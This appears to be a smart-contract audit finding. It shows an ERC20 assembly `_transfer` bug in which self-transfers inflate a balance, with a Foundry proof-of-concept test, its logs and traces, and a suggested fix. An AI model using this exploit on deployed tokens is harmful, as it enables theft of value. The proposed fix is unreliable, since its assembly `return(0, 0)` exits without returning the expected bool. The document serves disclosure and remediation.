function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly {
@>
let fromAmount := sload(fromSlot)
let toAmount := sload(toSlot)
@>
sstore(fromSlot, sub(fromAmount, value))
@>
@>
sstore(toSlot, add(toAmount, value))
}
}
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {ERC20} from "../src/ERC20.sol";
contract ERC20Mock is ERC20 {
constructor() ERC20("Vulnerable", "VULN") {}
function mint(address to, uint256 amount) public { _mint(to, amount); }
}
contract SelfTransferInfiniteMintPoC is Test {
ERC20Mock token;
address attacker = makeAddr("attacker");
function setUp() public {
token = new ERC20Mock();
token.mint(attacker, 1000 ether);
}
function test_selfTransferCreatesInfiniteTokens() public {
uint256 initialBalance = token.balanceOf(attacker);
uint256 initialTotal = token.totalSupply();
emit log_named_uint("Initial Balance", initialBalance);
emit log_named_uint("Initial TotalSupply", initialTotal);
vm.prank(attacker);
token.transfer(attacker, 500 ether);
uint256 balanceAfter1 = token.balanceOf(attacker);
uint256 totalAfter1 = token.totalSupply();
emit log_named_uint("Balance After 1x self-tx", balanceAfter1);
emit log_named_uint("TotalSupply After 1x", totalAfter1);
assertEq(balanceAfter1, initialBalance + 500 ether);
assertEq(totalAfter1, initialTotal);
assertGt(balanceAfter1, totalAfter1);
vm.prank(attacker);
token.transfer(attacker, 500 ether);
vm.prank(attacker);
token.transfer(attacker, 500 ether);
uint256 finalBalance = token.balanceOf(attacker);
emit log_named_uint("Final Balance (3x self-tx)", finalBalance);
assertEq(finalBalance, initialBalance + 1500 ether);
assertTrue(finalBalance > 2 * initialTotal, "Balance > 2x totalSupply");
}
}
Logs:
Initial Balance: 1000000000000000000000
Initial TotalSupply: 1000000000000000000000
Balance After 1x self-tx: 1500000000000000000000
TotalSupply After 1x: 1000000000000000000000
Final Balance (3x self-tx): 2500000000000000000000
Traces:
[6171] ERC20Mock::transfer(attacker: 0x9dF0C6b..., 500000000000000000000)
├─ emit Transfer(from: attacker, to: attacker, value: 500000000000000000000)
└─ ← [Return] true
[...]
[720] ERC20Mock::balanceOf(attacker) [staticcall]
└─ ← [Return] 2500000000000000000000
[317] ERC20Mock::totalSupply() [staticcall]
└─ ← [Return] 1000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... checks for zero address ...
+ if eq(from, to) {
+ // Optional: Emit event even for self-transfer if strict compliance needed
+ let ptr := mload(0x40)
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ // Return true and exit
+ success := 1
+ return(0, 0) // Or just jump to end
+ }
let ptr := mload(0x40)
// ... rest of the logic ...
}
}